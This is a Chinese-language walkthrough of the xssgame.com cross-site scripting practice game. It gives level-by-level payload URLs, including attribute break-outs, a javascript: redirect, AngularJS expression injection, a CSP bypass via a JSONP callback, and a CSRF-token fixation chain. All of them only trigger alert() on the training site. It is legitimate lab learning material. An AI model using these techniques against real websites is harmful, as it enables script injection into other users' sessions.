xssgame
发现了这个,mark一下
http://www.xssgame.com/
level 1
http://www.xssgame.com/f/m4KKGHi2rVUN/?query=<script>alert(/1/)</script>
level 2
dom xss 点在这里,大概代码是这样子的
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('$_GET["timer"]')
所以认为构造?timer=1');alert('1
就可以了结果发现不可以,不过为什么不可以呢
随后试了%0a
和%0d
都可以,所以最后payload是http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=1')%0aalert('1
或者http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=1')%0dalert('1
level 3
这个name是hash
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
http://www.xssgame.com/f/u0hrDTsXmyVJ/#33.jpg'%20onerror=alert(/1/)%20k='`
level 4
走着走着,发现comfirm这里有个window.location,应该是这样子??
setTimeout(function() { window.location = '$_GET["next"]'; }, 1000);
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert(/1/)
level 5
angular的,看不太懂,感觉我的输入被插到了一个不能解析的地方…悲剧啊,也闭合不了标签,和丢到pre里了感觉差不多,但我的看起来是在<p><b></b><b>
里的诶
感觉这个输出点不能用,再找找其他的
后来又看到了一个地方,这个应该是UTM_PARAMS
数组里的这些,只要能被getElementsByName
,也就是有name的都能被利用的感觉
var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]
if (location.search)
{
var params = location.search.substring(1).split('&');
for (var p in params) {
var r = params[p].split('=');
if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
var el = document.getElementsByName(r[0]); // *****
if (el.length) el[0].value = decodeURIComponent(r[1]); // ****
}
}
}
大概是就是你输入的查询参数键值对会
document.getElementsByName(key).value = decodeURIComponent(value);
那我们看看
<input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
<input name="utm_term" type="hidden">
<input name="utm_campaign" type="hidden" value="cpc">
交了一个?utm_term=ssssss">
,发现引号被搞成"
了
感觉angular肯定是这个能在引号里使用表达式,能不能直接在value=""
里使用什么技能调用alert
…
稍微学习了一下
果然有个$eval
,配合我们这里的
angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
$scope.query = "";
$scope.alert = window.alert;
}]);
可以提交
?utm_term={{$eval(alert(1))}}
就可以了, 这里的alert
是$scope.alert
最后
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_campaign={{$eval(alert(1))}}
由于blog后边是handlebars渲染…所以这里的花括号alert秘制报错..只能放到```里
level 6
这次是服务器端模板渲染
有个东西叫SSTI,服务器端模板注入
level7
这题是bypass csp
看了下题目中就有个jsonp…
/**
* Ask server side what to display.
*/
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}
/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}
main();
我们请求一下这个jsonphttp://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?menu=<script>alert(1)</script>
会发现返回
callback({"title":"Error, no such menu: <script>alert(123)</script>"})
这个title会被原样填到h1里面,这个时候,就….
醒醒,这里有csp…没有unsafe-inline的话这样子写到页面里会被kill掉
这里要利用jsonp来bypass csp,jsonp的服务器端大约是这样子
<?php
$callback = 'callback';
if(isset($_GET['callback']) && $_GET['callback']) {
$callback = $_GET['callback'];
}
// 其实是还要找一下menu提交的图片是不是找得到,这个省略了
$arr=array('title'=>'xxx','pictures'=>'xxx');
$result=json_encode($arr);
echo $callback."($result)";
?>
所以我们提交menu=<script src="jsonp?callback=alert(1);//"></script>
的base64值就可以了
最后http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpOy8vIj48L3NjcmlwdD4=
level8
上来设置个用户名,发现走的是这个链接http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=wwww&redirect=index
看起来是设置键值对的.这里设置的是name,那应该其他的值也能设置??
然后下面还有个功能是设置amount,我们随便设置一个aaa
发现会告诉你不是数字.并且会回显,那xss点应该就在这个地方了
我们交个<script>alert(1)</script>
Sorry, but this URL is specific to your random CSRF token, which means that the solution wouldn’t work in an other browser, so not counting this as a valid solution. Try harder.
然后看看我们的链接是http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=sss&amount=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&csrf_token=Q63O6XH1QY
不难发现这个token是存在cookie里的
所以我想,这样子就可以了,一边在set这里设置csrf_token的值,一边在redirect到transfer填上它http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=456&redirect=transfer?csrf_token=456&amount=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
然后…没报错回显
在chrome里看一下,是这个transfer时候只是redirect到了transfer?csrf_token=456
,忘了把redirect=transfer?csrf_token=456&amount=<script>alert(1)</script>
要escape一下,是redirect=transfer%3Fcsrf_token%3D456%26amount%3D%3Cscript%3Ealert%281%29%3C%2fscript%3E
最后http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=456&redirect=transfer%3Fcsrf_token%3D456%26amount%3D%3Cscript%3Ealert%281%29%3C%2fscript%3E
结束